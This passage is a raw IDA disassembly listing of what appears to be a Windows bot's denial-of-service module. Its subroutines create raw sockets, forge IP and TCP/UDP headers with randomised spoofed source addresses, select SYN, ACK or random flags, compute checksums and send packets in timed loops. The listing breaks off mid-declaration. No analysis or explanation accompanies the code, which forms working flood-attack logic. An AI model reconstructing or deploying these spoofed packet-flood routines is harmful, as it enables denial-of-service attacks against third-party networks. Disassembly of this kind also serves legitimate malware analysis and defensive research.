-0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h Src = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah Dst = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, ds:dword_4270A8 call edi ; GetTickCount push eax call sub_41B8D8 pop ecx push 0FFh push 3 push 2 call dword_4CB6D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_413EFF call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_436574 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_413EDF push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409A73 add esp, 14h loc_413EDF: ; CODE XREF: sub_413E36+84j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_BC] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_413EFF: ; CODE XREF: sub_413E36+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4CB634 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_413F7D call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+Dest] push offset asc_43653C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_413F5D push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409A73 add esp, 14h loc_413F5D: ; CODE XREF: sub_413E36+102j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_BC] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_413F7D: ; CODE XREF: sub_413E36+DFj lea eax, [ebp+var_23C] push eax call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_413FED lea eax, [ebp+Dest] push offset asc_43651C ; "-" push eax ; Dest call _sprintf cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_413FCD push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409A73 add esp, 14h loc_413FCD: ; CODE XREF: sub_413E36+172j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_BC] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_413FED: ; CODE XREF: sub_413E36+157j push 10h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push ebx call dword_4CB654 ; htons mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_4CB694 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax loc_414025: ; CODE XREF: sub_413E36+430j call edi ; GetTickCount sub eax, [ebp+var_30] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_B4] ja loc_4142E9 push 28h mov [ebp+var_2C], 45h call dword_4CB654 ; htons cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_414098 call _rand mov esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax shl esi, 8 call _rand add esi, eax push 1 mov [ebp+var_20], esi pop esi jmp short loc_4140AE ; --------------------------------------------------------------------------- loc_414098: ; CODE XREF: sub_413E36+233j push [ebp+var_240] call sub_40AC10 pop ecx push eax call dword_4CB694 ; inet_addr mov [ebp+var_20], eax loc_4140AE: ; CODE XREF: sub_413E36+260j mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_4140CC call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_4140D2 ; --------------------------------------------------------------------------- loc_4140CC: ; CODE XREF: sub_413E36+284j push [ebp+var_B8] loc_4140D2: ; CODE XREF: sub_413E36+294j call dword_4CB654 ; htons mov [ebp+var_16], ax call _rand cdq mov ecx, 401h idiv ecx push edx call dword_4CB654 ; htons push 12345678h mov [ebp+var_18], ax call dword_4CB650 ; htonl mov [ebp+var_14], eax lea eax, [ebp+Str] push offset aSyn ; "syn" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414122 mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_41417E ; --------------------------------------------------------------------------- loc_414122: ; CODE XREF: sub_413E36+2E1j lea eax, [ebp+Str] push offset aAck ; "ack" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_414142 mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_41417E ; --------------------------------------------------------------------------- loc_414142: ; CODE XREF: sub_413E36+301j lea eax, [ebp+Str] push offset aRandom_0 ; "random" push eax ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_41417E call _rand push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call _rand push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_41417E: ; CODE XREF: sub_413E36+2EAj ; sub_413E36+30Aj ... push 200h mov [ebp+var_C], 50h call dword_4CB654 ; htons mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+Src], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_4CB654 ; htons mov [ebp+var_5A], ax lea eax, [ebp+Src] push 20h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_80] push eax ; Dst call _memcpy lea eax, [ebp+var_A0] push 34h push eax call sub_40AC69 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy lea eax, [ebp+var_18] push 14h ; Size push eax ; Src lea eax, [ebp+var_8C] push eax ; Dst call _memcpy push 4 ; Size lea eax, [ebp+var_78] push ebx ; Val push eax ; Dst call _memset add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40AC69 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h ; Size push eax ; Src lea eax, [ebp+var_A0] push eax ; Dst call _memcpy add esp, 14h lea eax, [ebp+Dst] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_4CB6B8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_41426B inc [ebp+arg_0] jmp loc_414025 ; --------------------------------------------------------------------------- loc_41426B: ; CODE XREF: sub_413E36+42Bj push [ebp+var_4] call dword_4CB6EC ; closesocket call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset asc_4364CC ; "-" lea eax, [ebp+Dest] push 200h ; Count push eax ; Dest call __snprintf add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_4142C9 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409A73 add esp, 14h loc_4142C9: ; CODE XREF: sub_413E36+46Ej lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_BC] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread loc_4142E9: ; CODE XREF: sub_413E36+203j push [ebp+var_4] call dword_4CB6EC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_43647C ; "-" push eax ; Dest call _sprintf add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_41435A push ebx ; int lea eax, [ebp+Dest] push [ebp+var_AC] ; int push eax ; int lea eax, [ebp+var_13C] push eax ; Str push [ebp+var_240] ; int call sub_409A73 add esp, 14h loc_41435A: ; CODE XREF: sub_413E36+4FFj lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_BC] call sub_40B413 pop ecx pop ecx push ebx call ds:dword_4270CC ; ExitThread sub_413E36 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41437A proc near ; CODE XREF: sub_414484+19Ap ; sub_414484+1A9p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] mov edx, [ebp+arg_0] push esi xor esi, esi cmp eax, 1 mov [ebp+arg_4], esi jle short loc_4143A6 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414398: ; CODE XREF: sub_41437A+26j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414398 pop edi cmp eax, 1 loc_4143A6: ; CODE XREF: sub_41437A+12j jnz short loc_4143B3 mov al, [edx] mov byte ptr [ebp+arg_4], al movzx eax, word ptr [ebp+arg_4] add esi, eax loc_4143B3: ; CODE XREF: sub_41437A:loc_4143A6j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn sub_41437A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143CC proc near ; DATA XREF: sub_401ACD+6D4Ao Dest = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CB694 ; inet_addr push eax lea esi, [ebp+var_194] sub esp, 194h push 65h pop ecx mov edi, esp rep movsd call sub_414484 add esp, 19Ch push eax lea eax, [ebp+Dest] push offset asc_4365A8 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414467 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_194] ; int call sub_409A73 add esp, 14h loc_414467: ; CODE XREF: sub_4143CC+79j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread sub_4143CC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414484 proc near ; CODE XREF: sub_4143CC+54p Dest = byte ptr -0CCh var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_A3 = byte ptr -0A3h var_A2 = word ptr -0A2h Src = byte ptr -0A0h var_8C = byte ptr -8Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_68 = byte ptr -68h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_58 = dword ptr -58h var_54 = byte ptr -54h var_52 = word ptr -52h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = word ptr -40h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = word ptr -2Ch Dst = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_194 = dword ptr 19Ch arg_198 = dword ptr 1A0h push ebp mov ebp, esp sub esp, 0CCh push ebx push esi mov esi, ds:dword_4270A8 xor ebx, ebx push edi mov [ebp+var_4], ebx call esi ; GetTickCount push 0FFh push 3 push 2 mov [ebp+var_10], eax call dword_4CB6D4 ; socket mov [ebp+var_8], eax call esi ; GetTickCount push eax call sub_41B8D8 pop ecx mov edi, 578h push edi ; Size push 9 push 1 call sub_418685 pop ecx pop ecx push eax ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov esi, 5A0h loc_4144DE: ; CODE XREF: sub_414484+235j call ds:dword_4270A8 ; GetTickCount sub eax, [ebp+var_10] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_198] ja loc_4146BE cmp dword_4CEE08, ebx jnz short loc_41455D push 10h pop eax mov [ebp+var_14], eax push eax ; Size lea eax, [ebp+var_68] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_68] push eax push [ebp+arg_0] call dword_4CB5F8 ; getsockname push 0FFh push 1 call sub_418685 pop ecx pop ecx push eax movzx eax, [ebp+var_62] push eax movzx eax, [ebp+var_63] push eax movzx eax, [ebp+var_64] push eax lea eax, [ebp+Dest] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_414570 ; --------------------------------------------------------------------------- loc_41455D: ; CODE XREF: sub_414484+7Ej lea eax, [ebp+Dest] push offset byte_4CE7E8 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_414570: ; CODE XREF: sub_414484+D7j lea eax, [ebp+Dest] push eax call dword_4CB694 ; inet_addr mov [ebp+var_C], eax mov eax, [ebp+var_58] and al, 45h push esi or al, 45h mov [ebp+var_54], 10h mov [ebp+var_58], eax call dword_4CB654 ; htons mov [ebp+var_52], ax call _rand mov [ebp+var_50], ax mov eax, [ebp+var_C] mov [ebp+var_48], eax mov eax, [ebp+arg_194] mov [ebp+var_4E], 40h mov [ebp+var_4C], 40h mov [ebp+var_4B], 6 mov [ebp+var_4A], bx mov [ebp+var_44], eax call _rand mov [ebp+var_40], ax call _rand mov [ebp+var_3E], ax call _rand mov [ebp+var_3C], eax call _rand mov [ebp+var_38], eax mov eax, [ebp+var_34] and ax, 0FF50h push 14h or al, 50h mov byte ptr [ebp+var_34+2], 18h mov word ptr [ebp+var_34], ax mov ax, [ebp+var_3E] mov [ebp+var_76], ax mov eax, [ebp+var_44] mov [ebp+var_74], eax lea eax, [ebp+var_58] push eax mov [ebp+var_30], 787Dh mov [ebp+var_2E], bx mov [ebp+var_2C], bx mov [ebp+var_78], 2 call sub_41437A mov [ebp+var_4A], ax lea eax, [ebp+var_58] push 28h push eax call sub_41437A mov eax, [ebp+var_48] add esp, 10h mov [ebp+var_AC], eax mov eax, [ebp+var_44] push 58Ch mov [ebp+var_A8], eax mov [ebp+var_A4], bl mov [ebp+var_A3], 6 call ds:dword_427210 ; htons mov [ebp+var_A2], ax lea eax, [ebp+Src] push 14h ; Size push eax ; Src lea eax, [ebp+var_40] push eax ; Dst call _memcpy lea eax, [ebp+var_8C] push edi ; Size push eax ; Src lea eax, [ebp+Dst] push eax ; Dst call _memcpy lea eax, [ebp+var_AC] push 598h push eax call sub_41437A add esp, 20h mov [ebp+var_2E], ax push 10h lea eax, [ebp+var_78] push eax push ebx lea eax, [ebp+var_58] push esi push eax push [ebp+var_8] call dword_4CB6B8 ; sendto inc [ebp+var_4] jmp loc_4144DE ; --------------------------------------------------------------------------- loc_4146BE: ; CODE XREF: sub_414484+72j push [ebp+var_8] call dword_4CB6EC ; closesocket mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_414484 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4146CF proc near ; DATA XREF: sub_401ACD+4CC0o Dest = byte ptr -414h var_214 = byte ptr -214h var_10 = dword ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov edx, [ebp+arg_0] push esi mov eax, 85h push edi mov ecx, eax mov esi, edx lea edi, [ebp+var_214] sub esp, 214h rep movsd mov ecx, eax lea esi, [ebp+var_214] mov edi, esp mov dword ptr [edx+210h], 1 rep movsd call sub_414746 add esp, 214h push eax lea eax, [ebp+Dest] push offset asc_4365DC ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 add esp, 14h push 0 call ds:dword_4270CC ; ExitThread sub_4146CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_414746(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int) sub_414746 proc near ; CODE XREF: sub_4146CF+3Bp Dest = byte ptr -254h var_54 = byte ptr -54h Dst = byte ptr -34h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch Str = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4CB6D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_414784 lea eax, [ebp+Dest] push offset asc_4367CC ; "-" push eax ; Dest call _sprintf pop ecx xor edi, edi pop ecx jmp loc_414A4D ; --------------------------------------------------------------------------- loc_414784: ; CODE XREF: sub_414746+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4CB634 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4147B0 call dword_4CB5E8 ; WSAGetLastError push eax push offset unk_43677C jmp short loc_4147CB ; --------------------------------------------------------------------------- loc_4147B0: ; CODE XREF: sub_414746+5Aj lea eax, [ebp+arg_4] push eax call dword_4CB694 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4147DF call dword_4CB5E8 ; WSAGetLastError push eax push offset asc_436738 ; "-" loc_4147CB: ; CODE XREF: sub_414746+68j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp loc_414A4D ; --------------------------------------------------------------------------- loc_4147DF: ; CODE XREF: sub_414746+77j push edi mov [ebp+var_24], 2 call dword_4CB654 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call ds:dword_42720C ; inet_addr mov esi, ds:dword_4270A8 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+Dest] push offset asc_43670C ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_414848 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_414848: ; CODE XREF: sub_414746+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp esi, eax pop ecx ja loc_414A03 mov esi, 41Ch jmp short loc_41487C ; --------------------------------------------------------------------------- loc_414877: ; CODE XREF: sub_414746+2B7j mov ebx, 0FFh loc_41487C: ; CODE XREF: sub_414746+12Fj cmp dword_4CEE08, edi jnz short loc_4148D6 push 10h pop eax mov [ebp+var_10], eax push eax ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4CB5F8 ; getsockname push ebx push 1 call sub_418685 pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax ; Dest call _sprintf add esp, 18h jmp short loc_4148E6 ; --------------------------------------------------------------------------- loc_4148D6: ; CODE XREF: sub_414746+13Cj lea eax, [ebp+var_54] push offset byte_4CE7E8 ; Source push eax ; Dest call _strcpy pop ecx pop ecx loc_4148E6: ; CODE XREF: sub_414746+18Ej push esi mov byte_4CE9E8, 45h call dword_4CB654 ; htons mov word_4CE9EA, ax lea eax, [ebp+var_54] push eax mov word_4CE9EC, 1 mov word_4CE9EE, di mov byte_4CE9F0, 80h mov byte_4CE9F1, 11h mov word_4CE9F2, di call dword_4CB694 ; inet_addr mov dword_4CE9F4, eax mov eax, [ebp+var_20] mov dword_4CE9F8, eax lea eax, [ebp+arg_84] push eax ; Str mov word_4CEA02, di call _atoi test eax, eax pop ecx jnz short loc_41495E call _rand cdq mov ecx, 401h idiv ecx push edx jmp short loc_41496C ; --------------------------------------------------------------------------- loc_41495E: ; CODE XREF: sub_414746+206j lea eax, [ebp+arg_84] push eax ; Str call _atoi pop ecx push eax loc_41496C: ; CODE XREF: sub_414746+216j call dword_4CB654 ; htons mov word_4CE9FE, ax call _rand cdq mov ecx, 401h push 408h idiv ecx mov word_4CE9FC, dx call dword_4CB654 ; htons push 400h ; Size mov word_4CEA00, ax call _rand cdq idiv ebx push edx ; Val push offset dword_4CEA04 ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4CE9E8 push [ebp+var_C] call dword_4CB6B8 ; sendto cmp eax, 0FFFFFFFFh jz loc_414A7C inc [ebp+var_4] call ds:dword_4270A8 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+Str] push eax ; Str call _atoi cmp ebx, eax pop ecx jbe loc_414877 loc_414A03: ; CODE XREF: sub_414746+124j push [ebp+var_C] call dword_4CB6EC ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+Str] push eax ; Str imul esi, 41Ch call _atoi pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset asc_4366A8 ; "-" loc_414A3E: ; CODE XREF: sub_414746+34Aj lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 18h loc_414A4D: ; CODE XREF: sub_414746+39j ; sub_414746+94j cmp [ebp+arg_20C], edi jnz short loc_414A75 push edi ; int lea eax, [ebp+Dest] push [ebp+arg_208] ; int push eax ; int lea eax, [ebp+arg_184] push eax ; Str push [ebp+arg_0] ; int call sub_409A73 add esp, 14h loc_414A75: ; CODE XREF: sub_414746+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_414A7C: ; CODE XREF: sub_414746+28Bj push [ebp+var_4] push esi call dword_4CB5E8 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset unk_43661C jmp short loc_414A3E sub_414746 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A92 proc near ; DATA XREF: sub_401ACD+6362o Dest = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h Str = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+Str] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_190] push eax ; Str call _atoi pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4CB694 ; inet_addr push eax call sub_414C2F add esp, 0Ch push eax lea eax, [ebp+Dest] push offset asc_4367F8 ; "-" push eax ; Dest call _sprintf xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414B27 push esi ; int lea eax, [ebp+Dest] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+var_90] push eax ; Str push [ebp+var_214] ; int call sub_409A73 add esp, 14h loc_414B27: ; CODE XREF: sub_414A92+73j lea eax, [ebp+Dest] push eax call sub_4151AD push [ebp+var_10] call sub_40B413 pop ecx pop ecx push esi call ds:dword_4270CC ; ExitThread pop edi pop esi sub_414A92 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B46 proc near ; CODE XREF: sub_414C2F+194p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_414B6F push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_427214 ; connect jmp loc_414C2B ; --------------------------------------------------------------------------- loc_414B6F: ; CODE XREF: sub_414B46+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call ds:dword_4271F8 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB5FC ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4CB63C ; select test eax, eax jnz short loc_414BD3 or eax, 0FFFFFFFFh jmp short loc_414C2B ; --------------------------------------------------------------------------- loc_414BD3: ; CODE XREF: sub_414B46+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDE loc_414BDA: ; CODE XREF: sub_414B46+B8j ; sub_414B46+DCj mov eax, edi jmp short loc_414C2B ; --------------------------------------------------------------------------- loc_414BDE: ; CODE XREF: sub_414B46+92j lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; __WSAFDIsSet test eax, eax jnz short loc_414C00 lea eax, [ebp+var_210] push eax push esi call sub_426756 ; __WSAFDIsSet test eax, eax jz short loc_414BDA loc_414C00: ; CODE XREF: sub_414B46+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call ds:dword_4271E0 ; getsockopt cmp eax, edi jz short loc_414BDA mov eax, [ebp+var_4] neg eax sbb eax, eax loc_414C2B: ; CODE XREF: sub_414B46+24j ; sub_414B46+8Bj ... pop edi pop esi leave retn sub_414B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C2F proc near ; CODE XREF: sub_414A92+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword 